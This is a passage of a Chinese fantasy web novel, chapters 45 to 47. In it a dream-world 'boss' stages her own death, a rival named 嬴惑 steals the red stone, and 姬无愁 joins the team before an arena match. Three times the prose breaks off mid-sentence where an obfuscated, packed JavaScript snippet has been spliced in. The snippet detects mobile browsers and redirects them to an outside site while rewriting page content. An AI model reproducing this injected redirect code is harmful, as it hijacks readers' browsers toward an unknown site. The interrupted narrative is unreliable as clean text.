他们已经来到目的地了,一切事物都有可能是魉的指示。 比如道路边难以发现的一块三角形的石头,一棵长相奇特意有所指的枯树,或者从雪山顶上飘来的一串佛偈。 但他们怎么都没想到,指示竟然是道路旁两排排大大的箭头,闪烁着让人无法忽视的绿光,突兀的出现在雪原上。 甚至每走一公里,就会出现一个写着“加油别放弃”“胜利就在前方的”的标语,像是某种赛车游戏。 “这魉怎么有种生怕我们走错了,找不到它的的感觉?” 跟着箭头的指示,车辆在公路上缓慢地行驶,最终停了下来。 路中央,两个绿色箭头所指的位置,有一扇凭空出现的门。 “是这里吗?” “很明显了。” 几人磨蹭着下车,面对着这扇像是另一个时空通道的大门互相交换了眼神。 风枫走到门背后,却发现站在这个角度什么都没有,只剩空气和对面站着的夏烛。 但站在门前的夏烛却看不见被其遮挡住身影的风枫。 雪山,荒原,星体,天幕,还有一扇诡异的门。 “是陷阱也得跳啊。”风枫耸耸肩,将手放在了门把上,她回头看了一眼大家,夏烛朝她点头,然后把手下压,门开了。 几人陆续走进了门。 脑海中有千万种情景闪过,恐怖的,奇异的,震撼的,但大家似乎都没有料想到,门后面只是一间再普通不过的卧室了。 一张小床挨着床边,碎花的窗帘正被风轻轻吹起,阳光透过窗户照在地板上,投出一片金色的光斑,书桌上放着一本看到一半的漫画书,正对面的墙上贴满了各种各样的海报,格里菲斯和平克弗洛伊德,总之爱好很杂。 几人堵在门口,都不敢向前一步,怕自己室外的鞋子踩脏干净的地板。 这里确确实实,只是一间普通的卧室。 “砰——!” 巨大的响声从头顶传来,拔剑的拔剑,拉弓的拉弓,在紧绷的神经之下,看着漫天缓缓飘下的彩带和亮光纸片。 “Surprise!” 一个短头发的女生从门后面跳了出来,手里还拿着刚刚用的派对礼炮。 “嗯?怎么感觉大家都不太惊喜,反而有点惊吓呢?” 沉默。 六个人无措的站在原地,箭在弦上,轩辕出鞘,刚刚从手心钻出来的藤条软趴趴地垂在半空。 “呼-”夏烛忍不住吹了吹沾在眉毛上的金色亮片。 “有点痒。”她指了指自己的眉毛。 然后众人纷纷处理自己满头满身的彩带纸片。 “哈咯哈咯,有人吗?好歹关注关注我呢!” 短发女生看着眼前几人开着抖衣服抖裤子,互相帮忙摘下头上的碎片,像几只相处十分和谐的猩猩,感受到了被忽视。 “好吧。”风眠把最后一根彩带从风枫头上摘下,他拍了拍手对着短发女生说:“所以你就是…” “没错!我就是你们要找的魉,这个梦境的主人,游戏的最终boss!”女孩插着腰,在房间里兴奋地上蹿下跳。 第一次见这种上来就自爆身份的魉,大家还有点无法适应。 “你的意思是,你知道自己被困在了梦里,也知道会有不明…会有一群人进入你的梦境?” 风眠最先开口。 “是呢是呢,当我第一次在这个世界醒来,有个声音就在我耳边说’世界由你创造’,’阻止他们’之类的话,很中二是不是,但还蛮有趣的。”女孩停了下来,坐在了房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“开心到双手发麻,想要大叫,想要冲进雨里狂奔,开心到等我回过神来发现自己竟然哭了。” “我可是很久没有流过眼泪了哦。” 女孩靠在门上,低头看向自己的鞋尖在地板上摩擦。 “你们肯定觉得我在拖延时间,或者故意不说原因,但这就是事实,谁能想到呢,一场突如其来的暴雨,会让我产生所谓的执念。” “狂风暴雨中,我好像再一次意识到了自己的存在,很奇怪的感觉…我不顾同事阻拦冲进了雨中,水已经漫上脚踝,我在大雨里狂奔朝着家的方向,好像自己已经不在城市之中了,而是在什么远古的荒原上,迎着黄昏躲避身后追赶而来的骤雨狂风。” “有那么一瞬间,我感到这个世界有些不一样了,而我喜欢这个不一样,就像我变回了原始人,只需要在与自然的抗争中得到生存的机会,而不是…而不是…”她想了想,最终还是没说出口。 “然后呢?”姬罗池问。 “然后?然后落汤鸡安全回到了家,一口气看了好几部灾难片,看得昏天黑地,不知昼夜,看着看着就睡着了,醒来就在这里咯。” “就这么简单?”姬罗池不敢相信,能形成魍魉梦的不都十分沉重或者严肃吗? “就这么简单,还要怎么样啦!所以,你们到底要不要跟我来,不来我可不会轻易去死哦。” 女孩又重新握住了门把手,等待众人给予她回应。 “走吧。”风眠开口 女孩咧开嘴,压下把手,一把拉开了门,一道刺眼的白光涌了进来。 45.自由之地(完) 这是一条长长的甬道,但并没有传统意义上的墙壁和地板,只有另一扇门位于甬道尽头。剩下的都是一些光怪陆离的影像变化。 像是将某人的记忆碎片提取出来在四周不间断地播放一样。 偶尔闪过一些俗世的场景,陌生的面孔。 “其实这里才是我真正的梦。”女孩走在前面漫不经心地说,“或者说梦境的控制中心啦,我通常会在这里找素材,然后为你们制造一些麻烦。” “当然啦,没什么别的意义,大家不用在意。” 她又打开尽头的门,空间再次变换,这一次,他们走在一条学校的走廊上。 左侧有一间间的教室,坐满了学生,念书的,教书的声音此起彼伏,暖风从窗口吹来,右边往下看去有一棵高大的杉树正在阳光中肆意生长。 铃声响起,安静的走廊变得吵闹,年轻的男孩女孩冲了出来,打闹着穿过走廊,他们青春洋溢的面孔像一阵清风穿过众人的身体。 真实的,生动的,夏烛以为自己回到了校园内,熟悉感让她恍惚,又意识到自己已经很难再重回平静的生活,她的内心产生了一种没有感情倾向的割裂感。 学校的走廊尽头依旧有一扇突兀的门,女孩再次带着几人走到门后。 “搞什么,真带我们观光来了。”夏烛听到姬罗池的嘟囔。 第三扇门后面是一个经过空间扭曲后变得狭长的房间。 “那是…”风枫呆呆地望着房间内正在争吵的两个人,一高一矮,一瘦一胖。 争吵声并不高亢,甚至有些沉闷,像两块湿掉的木头相互碰撞。 夏烛也注意到了,那两张熟悉的脸不再像之前那样荣光焕发,女人脸色灰黄,细纹像一张密网,她薄薄的的耳垂上也没有任何闪亮的珠宝,只有一个生锈的耳洞,暗暗地藏着。 男人也不再潇洒帅气,嘴边叼着只剩短短一截的烟屁股,他砸吧着嘴,手指烦躁地一下又一下梳着头发。 暖黄色的阳光斜斜地从毛玻璃一样糊满灰尘的玻璃窗透进来,就像一颗粘稠的融化的方糖,光线里飞舞着数不清的细小尘埃,照出这间屋子陈旧的味道。 整个房间就像一张发黄卷曲充满折痕的旧照片。 因为空间的扭曲,吵架的夫妻被无限制地复制,女孩沉默且快速地领着众人走过一对对面容逐渐模糊的夫妻,离开似乎永无止境的争吵。 风枫好像明白了什么,她回过头和夏烛对上了视线,两人的眼中都闪过意味不明的光。 他们像一支真正的观光队伍,快速地掠过某个人的一生。 再次推开门,窄长的甬道两旁是通天的货架摆满了密密麻麻的商品,每一个商品都突破常识,变得比真人还要高大,那种重复的压抑的感觉让几人不约而同地咳嗽起来。 仿佛喉咙中堵塞了一团又干又涩的东西,咽不下去也吐不出来。 “好啦好啦,马上就到啦!”女孩似乎认为咳嗽是一种抗议或者不满,“我每次走这段路也很难受的嘛…”她小声嘟囔道。 “最后一扇门啦!”她停在门边,神情兴奋又紧张。 “当当当当~” 夏烛闻到了雪的味道,耀眼的阳光闪过,这个空间无比广阔,无边无际的的盐湖像一面巨大的镜子倒映着澄澈的天空,以及一尊巨大天女的雕像。 “哦,原来如此。” 怪不得她总觉得短头发的女孩看上去有些眼熟,原来她就是那个在梦中指引自己的天女。 天女雕像神情肃穆,顶天立地坐落在盐湖中央,双手合拢握着一把巨大的剑,身后是万里雪山,神鹰盘旋。 短发女孩踩进盐湖中,蹦蹦跳跳地朝雕像跑去,跑到一半她停了下来,转过身对众人说:“机会难得,我本来想自己当英雄的啦,不过我突然觉得热血故事的主角不如一个处心积虑到最后却选择自我放弃的反派来得有趣。” 她静静站在湖中,站在有着相同面容的神像之下。 “所以我安排你们成为这场游戏的主角,翻山越岭,追星逐月去完成一个目标,达成一段成就,是不是很爽!人生得偶尔疯狂一下才精彩嘛,就像有一次打破常规,有一次冲进雨里那样!” “毕竟谁都想做冒险游戏中的勇者,谁都想成为世界中心不是吗?” 几人沉默地望着女孩进行最后的激情演讲,又或者是表演结束的谢幕。 一场大雨?夏烛盯着风枫的背影,如果她的人生中也有这么一场大雨,那牵着她的手冲进雨里的一定是风家兄妹。 她好像明白这个魍魉梦为什么存在了。 “所以,这就是你的欲望?在梦里玩一次冒险游戏?游戏结束就自动下机回家吃饭,一点也不留恋?”姬罗池还是不理解,她的人生从头到尾都不普通,冒险游戏?跟真枪实弹的魍魉梦比起来差远了。 “是呀是呀,不觉得很酷吗,有一种深藏功与名的既视感!”她走到那把悬在空中的巨剑之下,“不过我也给自己安排了一个很酷的结局啦,所谓反派,下线方式当然不能马虎!” 女孩张开双臂仰起了脸,身后的神像竟然缓慢地低下头去,两双一模一样的眼睛彼此对上了视线。 夏烛听到她说:“游戏嘛,过过瘾就够了,现实生活还在等我去体验,毕竟生命短暂,且只有一次。” “我可舍不得放弃。” 在众目睽睽之下,在悬日当空和万年寒冰之中,天女手中的巨剑缓缓下落,第一次,魉选择当着所有不明官的面自我了结。 他们甚至只需要在一旁看着就能得到石头,像大型的沉浸式演出,没有一个人说话。 在巨剑即将碰到女孩的时候,她突然朝众人眨了眨眼睛,露出了一个狡黠的笑容。 所有人都听到了她最后的话。 “别走开,稍后还有彩蛋哦。” “砰!” 无数闪光亮片从身体中喷出,女孩像一只装满惊喜的气球被尖锐的剑尖戳破,亮片纷纷扬扬飘落到湖面上,反射着金色的阳光。 “…” “这就结束了?”事情结束得太快,风枫还处在震惊当中。 “那是天生相石。”风眠一指远处从亮片堆中升起的红石,“看来,确实是结束了。” 红石被析出,表示这个梦境的魉已经死亡,却没有一个人上前,大家你看看我,我看看你,似乎还没有搞清楚状况。 “算了,既然魉都自行了断了,就别耽误时间,赶紧拿了石头出梦吧,我还想再进一个的。”姬罗池率先踏进盐湖,夏烛他们也跟着她朝石头的方向靠近。 红色天生相石就悬在眼前,姬罗池刚准备伸手就被风枫拍了下来。 “俺们先拿!”说着推了夏烛一把,示意她去取下石头。 夏烛顺势向前走了一步,在风枫期待的眼神下对着那颗晶莹的透红色的石头伸出了手,她首先触碰到了冰凉,在即将收紧手指的时候,一道彩色的软光一闪而过,天生相石消失不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918050|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 随即,夏烛感到额头上一阵刺痛,像是有什么东西狠狠砸了上去,她忍不住抱着头蹲下身,一颗亮晶晶的东西掉落在了脚边。 在看清那东西的真面目时,夏烛觉得自己头上的疼痛完全消失了。 “彩蛋。”她怔怔地捡起那颗东西,举在眼前,柔腻的质地在指腹间滑摆,金灿灿的光辉虽小但耀眼。 是一粒小金豆。 货真价实的金子。 虽然就是这东西砸了夏烛的脑袋。 “发生了什么!”风枫冲了上来,将夏烛从地上扶了起来,“石头去哪儿了!?” 天生相石就在六双眼睛下凭空消失了,姬罗池从惊讶中回过神来,一把抓住夏烛的手臂,语气强烈地质问她:“你做了什么?石头呢!” “你干嘛!放手放手!”风枫使劲拍打着姬罗池抓住夏烛的那只手,“你没见到阿烛也被什么东西砸到头了吗!” “话说,”她也凑了上来,“这是什么?” 夏烛觉得自己脸颊有些发烫,双眼发出精亮的光,她把金豆子捏到风枫眼睛下面,一脸真诚的。 “金子。” “哈?金子!” 姬罗池一头黑线,她觉得自己要被气疯了,这两人还在谈论无关紧要的东西。 “什么金子银子!石头!石头去哪儿了!”她气得握紧了逐日,恨不得抽出箭来一人一个窟窿。 “罗池。”姬阴秀拍了拍她的肩膀,“石头在那边。” “什么?”她茫然地抬起头,顺着哥哥的目光看去。 不远处的盐湖上,站着一个瘦高的男人,他的左边趴伏一只体型像虎的怪物,比身体还长的尾巴五彩斑斓,尾尖卷着一颗红色的石头。 是天生相石。 怪物的速度堪称恐怖,在众目睽睽之下抢走了他们的掌中之物。 它尾巴一甩,将石头交予男人手中。 “梦里还有别的不明官!?”风眠显然对着眼前突然出现的人感到不安和震惊,“他是谁?”竟然能一直隐藏在暗处,直到他们到达终点,然后坐享其成。 男人单手把玩着天生相石,苍白的指骨上有一枚血红色的戒指,与手中红石光辉相映,没人敢轻举妄动,因为男人身边除了那只速度极快的虎型巨兽还有一只看上去人畜无害,狸猫一样,独目三尾却诡异非常的怪物。 这个不知身份的男人居然有两只妖神相护。 “管他是谁!抢了俺们的石头都得挨打!”风枫的脚下生出数条藤蔓如巨蛇一般匍匐向前。 “小枫!停下!”一直躲在阴影里的嬴犽却突然按住风枫的手试图阻止她,但已经来不及,藤蔓行至男人身前两米的距离破出了水面,像要发起进攻的蟒蛇,朝男人手中的天生相石冲去。 “我知道,他是谁…”嬴犽的眉头皱了起来,下意识往前一步挡在风枫面前。 藤蔓凝成尖刺在即将触碰到红石的时候,男人突然伸出手,指尖轻轻往前一弹,一颗金灿灿的金豆迸了出来,以四两拨千斤的力道瞬间将藤蔓击得粉碎。 看到这个陌生男人的招数,身边的姬阴秀也随即明白,他神色微怔,喃喃出声:“点石成金…他是…” “嬴惑。”嬴犽接道。 要说这个世界上,还有一个身负不属于任何家族的独特相力的人,那也只能是他了。 点石成金,少皞一族的财神爷,嬴犽的亲戚,妖神爱好者,流落在外的私生子,嬴惑。 46.新队友出现 “嬴?”风枫惊讶地望向嬴犽,“所以他是你们…” “是,也不是。”说话的时候他一直紧盯着嬴惑的方向,“他不在嬴家出生,几乎像这么大的时候才从外面回来,自称是某一个脱离家族的女人在外生下的孩子。” “但他并不会御鸟,而是拥有,那个家族的相力,金,他身份成谜,还是一个恶劣的人,所以小枫,离他远一点。” 夏烛在一旁听着,想到风眠曾经告诉过她,蚩尤族人在逐鹿之战失败后四分五裂,流落到了不同的家族中,也许赢惑的母亲就是蚩尤的后代。 就算是这样,这个叫做赢惑的人也只是一个残体,却能让同为残体奇迹的姬阴秀也如此忌惮。 “石头到手,我们还是赶紧离开吧,这里的味道,实在不好闻呢。”天生相石在嬴惑手里就像一颗从路边捡来的石头,被随意抛起又接住,他说着类似的话却没有停下脚步走向众人,那双灰色的眼睛从每个人脸上一一掠过,就像打量无关紧要的东西。 “是什么味道呢?”最后,他的眼神停留在了风家兄妹身上,“哦,是贫穷啊。” 嬴惑的一张脸和他本人一样刻薄,刻薄的嘴,刻薄的线条,黑色的头发扫在那双看什么都带着厌恶神色的眼睛上方,他的皮肤和嬴犽一样苍白,让人怀疑这是少皞的家族标志,但又和单纯阴郁的嬴犽不同,他的苍白让夏烛尝到一种既尖锐又美丽的孱弱感。 那是和她自己完全相反的味道。 如果夏烛是一块圆钝的石头,那赢惑就是一片薄如蝉翼却有割手之痛的花瓣。 是的,美丽。 夏烛钟情一切美丽的东西,即使他们的表现的恶劣无比,诸如叶理,又或者这个突然出现的陌生男人。 何况他还拥有点石成金这种让人羡慕的相力。 只是孱弱这个词不知道从何而来,夏烛见到他的第一眼就莫名觉得这人像是风中蒲柳一样柔弱,她自己也不清楚为什么。就像嬴惑自己都没发现,“贫穷”这个词根本攻击不到在场的任何一个人,但还是故作轻松说出他认为能够划分界限的一句台词。 “喂!我不管你是谁,和风家人有什么过节,石头是我们一起得到的,赶紧拿过来分化!”姬罗池不顾哥哥的阻拦,跟这几个莫名其妙的人撞了同一个梦,她已经自认倒霉,但现在又半路杀出一个土匪小偷捡漏王!忍无可忍! 嬴惑像是没有听到姬罗池的话,权当耳边有一只叽叽喳喳的小鸟,他转了转手中的天生相石,无比欠揍地勾起嘴角,“恕不奉陪。” 说身形一闪,连带着两只妖神消失在众人面前。 “混蛋!!”风枫和姬罗池同时怒吼,前者单纯是看这个小白脸不爽,后者则是没拿到石头等于白费功夫前功尽弃了,气得她火冒三丈,抽出身后的羽箭拉开逐日弓燃着怒火就射向嬴惑刚刚站的地方。 “没用的罗池,他身边那只虎形妖神是可日行千里的驺吾,而另一只虽然身形较小,却是拥有绝对防御的讙。” “那人是做足了完全的准备,势必不费吹灰之力截取其他队伍的成果。” 罗池一肚子的火没地儿发,嬴惑抢了石头就跑没给她机会施展逐日弓的威力,夏烛这人摸不清底细又得听姬阴秀的礼让三分,她垂下肩膀一眼不发地走向羽箭,从地上拔了出来,没等姬阴秀叫她就自行念了不明反咒出梦了。 “罗池一向胜负欲很强,有时候说话比较冲,不要介意。”姬阴秀语气温和,在尽力为妹妹找补。 “哼,俺们大人不记小人过,这次就当练练手了。”风枫抱着胳膊,她面对有人截胡虽然很气但看见姬罗池张牙舞爪的样子就想笑,天才风枫是大人,姬罗池是小人,大人得有大人的气度,越是这种时候,她越要装得毫不在意,虽然心里气得要命。 “同形一路,还没有正式自我介绍过。”姬阴秀向风眠伸出手,“多谢你们愿意载上我和罗池,愿意共享石头,我是崆峒姬家的姬阴秀,那位是我的妹妹,罗池。” 风眠也伸出自己的手。 “俺叫风枫!”大名鼎鼎的姬阴秀的手,得握握。 “这位呢?”姬阴秀转向了一直低着头翻看手里那颗金豆的夏烛。 “风烛。”夏烛呆呆地伸出手,没有忘记自己的伪装身份。 “原来是一家人啊。”姬阴秀望着她的眼睛,夏烛看不透他说这话的时候在想什么,“对了,我们可以交换一个联系方式吗,我回姬家选一柄新的剑鞘,当作初次合作的礼物,等剑鞘打好了再联系你?到时候欢迎大家来轩辕丘做客,可以吗?” “啊?真的吗?”夏烛没想到姬阴秀这么大方,按理说他还救了自己,载他们一段路根本不算什么。 姬阴秀嘴角勾起淡淡的笑,他温和的点了点头,“当然。” 于是夏烛开心地从背包里翻出自己的小灵通,姬阴秀接过存进了自己的电话号码。 “好现代人的方式。”风枫忍不住感叹,她们一家有点过于脱离尘世了。 风枫愁眉苦脸地趴在餐桌上,周围闹哄哄的,睡好觉一到傍晚就恢复了热闹,她们好不容易抢到了一张空桌,但风枫精神萎靡,第一次出现了食物解决不了的问题。 夏烛倒是胃口很好,她已经哐哐干了两碗大米饭了。 “吃一点。”她夹了一个大鸡腿到风枫碗里,依旧唤醒不了斗志。 “没事的小枫,一颗石头而已,大不了今晚再进一次梦…”风眠的安慰还没说出口,风枫猛地一拍桌子,把夏烛刚刚夹起来的排骨都震掉了,动静之大穿透吵闹声,引起隔壁一桌的侧目。 “俺知道了!”她目光炯炯,脸上浮出热气腾腾的红晕。 “知道什么了?”风眠干脆把那碗香酥排骨挪到夏烛面前。 “姬罗池是个讨人厌的小鬼!” 风眠无语道:“这个还需要参悟吗?” “但她有一句话说得不错!那就是俺们的的确确,缺少一个武位!” “所以俺决定,发布组队申请!” “同意的请举手!” 嬴犽放下手里的碗筷第一个举手,谄媚得令风眠牙酸。 “同意。”夏烛边啃排骨边赞同,风枫说什么都对,她不介意多一个队友。 “那我还能说什么呢。”风眠耸耸肩,低头继续吃自己碗里的食物。 “那就这么决定了!晚饭后去发布平台!”风枫的精气神又重新回来,赶紧将米饭盛进碗里堆得都快看不见她的人了,左塞一口右塞一口,像一只疯狂往颊囊里储食的小仓鼠。 “好次!” “什么!!”风枫的声音穿透大楼,震飞了旅馆外树上的两只小鸟。 “发布组队申请需要五张神策!修改组队名称再加五张神策!否则在列表里只能显示未命名队伍123!你们还是人吗!” 风枫双手拍在柜台上,木质的案台隐隐出现了一丝裂纹,上半身恨不得越到前台里把脸贴在姬桃脸上,看看她到底是肉长的还是一个无情的坑钱机器。 姬桃双手捂着耳朵,脸上是资本家虚伪的笑容。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922057|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案台是东非黑黄檀哦,弄坏了你就只能在睡好觉打工还债咯。” “还,还什么债,谁说俺赔不起!”嘴里这样说着,手上的力度却收了起来。 “所以,你们还要发布组队申请吗?”姬桃笑眯眯地说。 风枫左右看了看夏烛和风眠的表情,然后豪迈地将五张神策拍到了桌面上。 “当然要!未命名就未命名!”至少能上大屏幕,虽然没有名称的队伍会排在列表最后,曝光度不高。 姬桃收起神策,从案台下抽出一张表格和一支笔放到风枫面前。 “请填上你们的要求和队伍优势吧~还有能够联系到你们的方式。” 风枫咬着笔头冥思苦想片刻,然后下笔如神一通畅写。 “好了!给你!”她将表格递给姬桃,等着她将信息输入进系统。 几分钟后,姬桃从电脑后面抬起笑脸,回身指了指身后那面硕大的光屏。 “睡好觉很高兴为您服务,组队信息已经成功发布,日月山上任何一块显示屏上都将刷新出您的申请哦~欢迎您再次光临~” 几人仰着头在组队申请列表中从第一名一直往下看到了最后一名,才出现了她们的组队信息。 “未命名队伍1: 组队要求:武位一名。 队伍优势:吃饱喝好,睡眠不少,给予你家一般的关怀~ 联系方式:睡好觉地字号,2725房间,见面详谈哦~” 风枫有些疑惑:“为什么是未命名1号,俺们是今天第一个吗?” “放心好了,你们是十年来第一个呢,毕竟改名只需要五张神策嘛~”姬桃笑眯眯地捂住嘴。 未命名队伍1在2725房间等了一夜加一个上午,等到从斗志昂扬变得心灰意冷,等到再不来人九天大会都要结束了,2725的房门都没被敲响过。 “一群势利眼!”风枫整个人瘫在床上没精打采。 “不着急,总会有人来的。”夏烛早上出了一趟门,去集市上按姬阴秀说的买来了养护剑的工具,这会正坐在窗边小桌旁仔仔细细地给小剑抹上丁子油。 房间内充满了烟熏木调又带有一丝香草豆荚甜气的味道,风枫怀疑阿烛以后将不再是艾草味的了。 “总会是什么时候呢…”风枫的声音闷闷地从被子里传来,她兴奋地一晚上没睡,原本就是刚从梦里出来,身体早就到达极限了,这会在丁子油温暖的草木香中昏昏欲睡。 不知道过了多久,她觉得自己的眼皮才闭上那么几秒,但是头脑不再沉重像是饱饱睡了一觉。 “咚咚咚——” 2725终于迎来了它的客人。 风枫条件反射地从床上跳起,一把拉开了门。 夏烛见她呆愣在门口不动,起身将小剑收起,走到小枫身边。 门外站了一个身材高挑的女孩,一个,蛇一样的女孩。 这是夏烛的第一印象。 女孩有一张温婉的脸,薄薄的皮肤下面却像藏着冰雪,连同眉连同眼都疏离得冷。 黑色长发贴住脸侧,脸越清瘦五官就越深刻,包括那双看不出任何情绪的异色瞳孔,左边是正常的黑色,而右边却是水蓝,离得近了还能看到蓝色瞳孔中隐约浮现某种纹路。 像一只真正的蛇,变化成人类少女的模样。 “你好,请问还需要队友吗?” 声音也淡淡的。 夏烛还注意到她的耳朵上戴着一对冰晶耳坠,右边的耳坠里是一只被封藏的银色小蛇。 47.竞技场 “姬无愁。” “什么?” “我的名字。” 女孩坐在窗边,三九峰外缭绕的烟雾似乎是趋寒属性的,当她一靠近窗户,房间立刻变得朦胧起来,眼睛和嘴巴,还有说出的话都云里雾里的被笼罩住。 “你是姬家的人?”风枫看向她右边的眼睛。 “濮阳姬家?”颛顼后人将神赐的符钰看得比性命还有重要,成为姬家的不明官,代价就是需要从一开始就将符钰植入某只眼睛。 姬无愁似乎犹豫了一秒,最后还是点了点头。 “我是武位,看到了你们发布的组队申请,所以想来试一试。”她说到这里,抬起眼来,在夏烛和风枫之间来回看了看,又重新垂下了睫毛,“不知道你们还需要吗?” “需要是需要…”风枫觉得有些奇怪,日月山是姬家的领地,再怎么说应该也不缺队友,她至少还有姐妹弟兄的,不过她看到姬无愁紧抿的嘴巴,还是没有问出这个问题,“没错!俺们就是需要一个武位,但你能告诉俺,选择这个队伍的原因,或者你还有什么条件吗?” 风枫想的是也许姬无愁的能力不算太强,苦于这点没有找到族人组队,所以才退而求其次选择了她们这个名不见经传,连改名费都付不起的队伍。 “没有原因。”姬无愁依旧淡淡的。 “不过。” “我确实有一个条件。” 她再次抬起头来,似乎这个条件让她难以开口。 “什么什么!”风枫很兴奋,她觉得这是未命名队伍1的价值体现。 “我们可以…我们可以长期组队吗?不仅是九天大会期间…” “我指的是,以后。”以后入梦除魉。 风枫呆住,长期组队当然很好,只是她现在太好奇姬无愁到底有什么难言之隐,不和家族成员一起,而选择了她们。 像是她们风家,只是因为不明官太少,这一届只有自己和风眠,但是颛顼后人可不一样,虽然选拔严格,但不明官人数在八大派中是能派得上号的。 并且姬家的不明官一般身兼两职,不仅要入梦除魉,还要作为执法督查的捕蜩人,队伍庞大,非常团结。 不过,都不重要,姬无愁长得漂亮,能力差也不差,她都不想去猜测了,风枫朝她伸出手,仰起一个大大的笑脸。 “没问题!欢迎你加入俺们!俺叫风枫,是东山春皇风家的人,这位是…阿烛,俺的姐姐,还有另外两个队友,呆会儿再跟你介绍!“ 姬无愁迟疑地看着风枫伸过来的手,犹豫了片刻才握了上去。 接触到她皮肤的那一刻,风枫被冷得一激灵。 不愧是冰雪寒流! 姬无愁伸出左手,雪尘在她掌心形成一股小型的风暴,最后凝结成几颗精致小巧的菱形冰晶,她将手往前一伸,递到众人面前。 “见面礼,可以存储少量的物品,随身携带。” “什么!?好东西!”风枫眼冒精光,冰晶在手心里散发出温和的冷气,接触到的皮肤部分微微发痒。 “能储存的东西不多的。”姬无愁有些不好意思,她避开了风枫热情奔放的眼神,似乎怕自己因此而融化。 “嗯!好东西!”夏烛很是赞同,她尝试将小剑靠近冰晶,没想到成功被一股力量收容,如果想要重新取出,只需要意念想象需要的物件。 在寻找到合适的剑鞘之前,可以暂时将小剑收进冰晶里。 夏烛弯下腰去,拦截到了姬无愁刚刚躲避风枫的眼神。 “谢谢你。”然后表达了自己的感激。 姬无愁再次将头偏向一边,她不太习惯很多人围着自己的感觉,虽然夏烛她们并不让她觉得难受。 风眠将冰晶放进阳光下,折射出七彩的光在房间的墙壁和天花板上游动。 “我们现在有五个人了,是不是可以去参加参加竞技场?”他只是随意这么一说,没想到激起了风枫莫名的斗志,她鼻孔里喷出热气,像一只处于战斗状态的小鸡发出喔喔喔的声音并且攥紧了自己的拳头。 “风眠好样的!对于战斗的热情连俺也无法企及啊!像未命名队伍1这样的烂名也能组队成功,说明一切都是主神的指引!” “竞技场!俺来了!” 姬无愁刚加入队伍,就被行动派风枫拉上了穷阴峰,以磨合队伍为由报名了今天的竞技场。 穷阴上也是人来人往,被结界笼罩的区域四季常春,各种奇花异草在充裕的相力滋养之下闪烁着妙幻的仙光,像是古代话本里的洞天福地。而结界外依旧是一片冰天雪地,枯石嶙峋。 只不过气氛却和清苦峰不太相同,这里更加剑拔弩张,人气与人气碰撞后会产生一种微妙的化学反应。 风枫把它叫做杀气。 “能来参加竞技场的人杀气肯定都很重!”她贴着夏烛左顾右盼,“瞧瞧瞧瞧,所有家族的不明官都在这里了!” “这些人可不止是咱们竞技场的对手,也是夺取天生相石的对手。”风眠做了一个简短的总结,让夏烛瞬间明白了竞技场存在的意义。 那就是明目张胆的公报私仇。 风枫将拳头磨咯吱咯吱响,咬牙切齿地在人群中搜寻某人的身影。 “姬罗池啊姬罗池,是时候让你看看风枫大人的真正实力了!” 穷阴的山顶有一块较为平整的地面,柔软的草甸上立着一座唐风小殿,不用问都知道又是资本家的手笔。飞檐翘角掩映在迎客古松之间。 夏烛有种进入西游记的错觉,琉璃瓦檐下铃,氤氲出一段旖旎的梦。 方正匾额上龙飞凤舞地写着四个大字“星罗金戈”。 竞技赛就在这座殿中进行,建筑风格和睡好觉很像,处处透露着财大气粗的奢靡味。设有报名处和休息大厅,报名成功就可在此处等待排位公布,殿内的人不必殿外的人少。 因为殿中除了中央显示参赛名单和排名的大屏外,另有四块小屏分别处于乾坤坎离四道界门之上,竟然是实时播放门内两队的比赛场景。 “嘶~”风枫也没想到竞技场居然是公开处刑,但她嘴上还是说:“冷气开得有点足啊,哈哈。” 大屏下方正对进门的位置就是报名入口,而两侧分别有些售卖食物饮料的小摊,不过大多数的人都聚集在实时赛况的屏幕下,聚精会神的看着比赛画面,并且做出自己的评价。 一想到自己一会儿就会成为别人嘴里的津津乐道的闲话,风枫就有点退缩。 “现在反悔还来得及吗?”她小声地问到。 “来不及了。”夏烛的声音从身边传来,她指了指报名处正在提交队伍信息的姬无愁。 “这位更是雷厉风行啊…”风枫觉得这里不愧是濮阳姬家的地盘,她总是觉得有股寒气从尾椎骨嗖嗖直往头顶蹿。 姬无愁报完名手里拿着一块写有“未命名队伍1”的木牌走了过来了,她将木牌交到夏烛手中,“我先报了一场,如果…” 话说到一半,风枫赶紧上前握住姬无愁的手。 “一场够了一场够了,不贪多嘛。” 等待名单公布还有一会儿,姬无愁和风眠找了个位置坐下来观看别人的比赛,风眠美其名曰积累经验,实际上他觉得自己参赛对于队伍来说毫无作用,只能从信息收集上下手。而风枫则是说自己有点饿了,拉着夏烛逛起了小摊,嬴犽当然开启自动跟随。 实际上,夏烛能够感觉到她在紧张。 说实话她自己也挺紧张的,毕竟这是第一次在这么多不明官面 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“啊,找到了。”夏烛抬手指了指屏幕,“乾门,未命名队伍1,对战,五个武队。” “听名字有点不妙。”夏烛说。 